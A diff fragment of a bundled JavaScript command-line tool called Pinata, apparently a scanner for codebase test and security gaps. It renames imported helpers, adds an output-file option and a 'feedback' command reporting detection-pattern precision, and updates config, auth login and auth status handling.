  const apiKey = getApiKey2(provider);
7010
8409
  const verifier = new AIVerifier2({ provider, ...apiKey ? { apiKey } : {} });
7011
8410
  const { verified, dismissed, stats } = await verifier.verifyAll(
7012
8411
  scanResult.data.gaps,
7013
- async (path2) => readFile5(path2, "utf-8")
8412
+ async (path2) => readFile6(path2, "utf-8")
7014
8413
  );
7015
8414
  scanResult.data.gaps = verified;
7016
8415
  const severityWeights = { critical: 10, high: 5, medium: 2, low: 1 };
@@ -7047,7 +8446,7 @@ program.command("analyze [path]").description("Analyze codebase for test coverag
7047
8446
  const isDryRun = Boolean(options["dryRun"]);
7048
8447
  if (shouldExecute && scanResult.data.gaps.length > 0) {
7049
8448
  const { createRunner: createRunner2, isTestable: isTestable2 } = await Promise.resolve().then(() => (init_execution(), execution_exports));
7050
- const { readFile: readFile5 } = await import('fs/promises');
8449
+ const { readFile: readFile6 } = await import('fs/promises');
7051
8450
  const testableGaps = scanResult.data.gaps.filter((g) => isTestable2(g.categoryId));
7052
8451
  if (testableGaps.length === 0) {
7053
8452
  console.log(chalk5.yellow("\nNo dynamically testable gaps found."));
@@ -7063,7 +8462,7 @@ Dynamic execution unavailable: ${initResult.error}`));
7063
8462
  for (const gap of testableGaps) {
7064
8463
  if (!fileContents.has(gap.filePath)) {
7065
8464
  try {
7066
- fileContents.set(gap.filePath, await readFile5(gap.filePath, "utf-8"));
8465
+ fileContents.set(gap.filePath, await readFile6(gap.filePath, "utf-8"));
7067
8466
  } catch {
7068
8467
  }
7069
8468
  }
@@ -7090,7 +8489,14 @@ Dynamic execution unavailable: ${initResult.error}`));
7090
8489
  logger.debug(`Failed to cache results: ${cacheResult.error.message}`);
7091
8490
  }
7092
8491
  const output = formatScanResult(scanResult.data, outputFormat, targetDirectory);
7093
- console.log(output);
8492
+ const outputFile = options["outputFile"];
8493
+ if (outputFile) {
8494
+ const outputPath = resolve(outputFile);
8495
+ writeFileSync(outputPath, output, "utf-8");
8496
+ logger.info(`Results written to: ${outputPath}`);
8497
+ } else {
8498
+ console.log(output);
8499
+ }
7094
8500
  if (isVerbose && scanResult.data.warnings.length > 0) {
7095
8501
  console.error("\nWarnings:");
7096
8502
  for (const warning of scanResult.data.warnings) {
@@ -7497,8 +8903,8 @@ program.command("suggest-patterns").description("Use AI to suggest new detection
7497
8903
  let vulnerableCode = [...codeSnippets];
7498
8904
  if (filePath) {
7499
8905
  try {
7500
- const { readFile: readFile5 } = await import('fs/promises');
7501
- const content = await readFile5(filePath, "utf-8");
8906
+ const { readFile: readFile6 } = await import('fs/promises');
8907
+ const content = await readFile6(filePath, "utf-8");
7502
8908
  vulnerableCode = [...vulnerableCode, ...content.split("\n---\n").filter(Boolean)];
7503
8909
  } catch (error) {
7504
8910
  console.error(formatError(new Error(`Failed to read file: ${filePath}`)));
@@ -7797,16 +9203,16 @@ thresholds:
7797
9203
  high: 5
7798
9204
  medium: 20
7799
9205
  `;
7800
- const { writeFile: writeFileAsync, mkdir: mkdir3 } = await import('fs/promises');
9206
+ const { writeFile: writeFileAsync, mkdir: mkdir4 } = await import('fs/promises');
7801
9207
  try {
7802
9208
  await writeFileAsync(configPath, defaultConfig, "utf8");
7803
9209
  console.log(chalk5.green("Created .pinata.yml"));
7804
- await mkdir3(cacheDir, { recursive: true });
9210
+ await mkdir4(cacheDir, { recursive: true });
7805
9211
  console.log(chalk5.green("Created .pinata/ directory"));
7806
9212
  const gitignorePath = resolve(process.cwd(), ".gitignore");
7807
9213
  if (existsSync(gitignorePath)) {
7808
- const { readFile: readFile5, appendFile } = await import('fs/promises');
7809
- const gitignore = await readFile5(gitignorePath, "utf8");
9214
+ const { readFile: readFile6, appendFile } = await import('fs/promises');
9215
+ const gitignore = await readFile6(gitignorePath, "utf8");
7810
9216
  if (!gitignore.includes(".pinata/")) {
7811
9217
  await appendFile(gitignorePath, "\n# Pinata cache\n.pinata/\n");
7812
9218
  console.log(chalk5.green("Added .pinata/ to .gitignore"));
@@ -7950,6 +9356,43 @@ Warnings (${warnings.length}):`));
7950
9356
  process.exit(1);
7951
9357
  }
7952
9358
  });
9359
+ program.command("feedback").description("View pattern performance feedback (Layer 6)").option("--reset", "Reset all feedback data").option("-o, --output <format>", "Output format: terminal, json, markdown", "terminal").action(async (options) => {
9360
+ const { loadFeedback: loadFeedback2, saveFeedback: saveFeedback2, generateReport: generateReport2, EMPTY_FEEDBACK_STATE: EMPTY_FEEDBACK_STATE2 } = await Promise.resolve().then(() => (init_feedback(), feedback_exports));
9361
+ const outputFormat = String(options["output"] ?? "terminal");
9362
+ const shouldReset = Boolean(options["reset"]);
9363
+ if (shouldReset) {
9364
+ await saveFeedback2({ ...EMPTY_FEEDBACK_STATE2 });
9365
+ console.log(chalk5.green("Feedback data reset."));
9366
+ return;
9367
+ }
9368
+ const state = await loadFeedback2();
9369
+ if (outputFormat === "json") {
9370
+ console.log(JSON.stringify(state, null, 2));
9371
+ return;
9372
+ }
9373
+ if (outputFormat === "markdown") {
9374
+ console.log(generateReport2(state));
9375
+ return;
9376
+ }
9377
+ console.log(chalk5.bold("\nPinata Feedback Report\n"));
9378
+ console.log(`Total scans: ${state.totalScans}`);
9379
+ console.log(`Patterns tracked: ${Object.keys(state.patterns).length}`);
9380
+ if (state.totalScans === 0) {
9381
+ console.log(chalk5.gray("\nNo feedback data yet. Run scans with --execute to collect data.\n"));
9382
+ return;
9383
+ }
9384
+ const patterns = Object.values(state.patterns).filter((p) => p.confirmedCount + p.unconfirmedCount >= 1).sort((a, b) => b.precision - a.precision);
9385
+ if (patterns.length > 0) {
9386
+ console.log(chalk5.bold("\nPattern Performance:"));
9387
+ for (const p of patterns.slice(0, 15)) {
9388
+ const total = p.confirmedCount + p.unconfirmedCount;
9389
+ const precisionPct = (p.precision * 100).toFixed(0);
9390
+ const color = p.precision >= 0.7 ? chalk5.green : p.precision >= 0.4 ? chalk5.yellow : chalk5.red;
9391
+ console.log(` ${color(`${precisionPct}%`)} ${p.patternId} (${p.confirmedCount}/${total} confirmed)`);
9392
+ }
9393
+ }
9394
+ console.log();
9395
+ });
7953
9396
  var config = program.command("config").description("Manage AI provider configuration");
7954
9397
  config.command("set <key> <value>").description("Set a configuration value").addHelpText("after", `
7955
9398
  Available keys:
@@ -8078,9 +9521,9 @@ auth.command("login").description("Set API key for Pinata Cloud").option("-k, --
8078
9521
  }
8079
9522
  const configDir = resolve(process.cwd(), ".pinata");
8080
9523
  const authPath = resolve(configDir, "auth.json");
8081
- const { mkdir: mkdir3, writeFile: writeFileAsync } = await import('fs/promises');
9524
+ const { mkdir: mkdir4, writeFile: writeFileAsync } = await import('fs/promises');
8082
9525
  try {
8083
- await mkdir3(configDir, { recursive: true });
9526
+ await mkdir4(configDir, { recursive: true });
8084
9527
  const maskedKey = `****${apiKey.slice(-8)}`;
8085
9528
  const authData = {
8086
9529
  configured: true,
@@ -8133,8 +9576,8 @@ auth.command("status").description("Check authentication status").action(async (
8133
9576
  process.exit(0);
8134
9577
  }
8135
9578
  try {
8136
- const { readFile: readFile5 } = await import('fs/promises');
8137
- const authData = JSON.parse(await readFile5(authPath, "utf8"));
9579
+ const { readFile: readFile6 } = await import('fs/promises');
9580
+ const authData = JSON.parse(await readFile6(authPath, "utf8"));
8138
9581
  console.log(chalk5.green("Authenticated"));
8139
9582
  console.log(chalk5.gray(`Key ID: ${authData.keyId ?? "unknown"}`));
8140
9583
  console.log(chalk5.gray(`Configured: ${authData.configuredAt ?? "unknown"}`));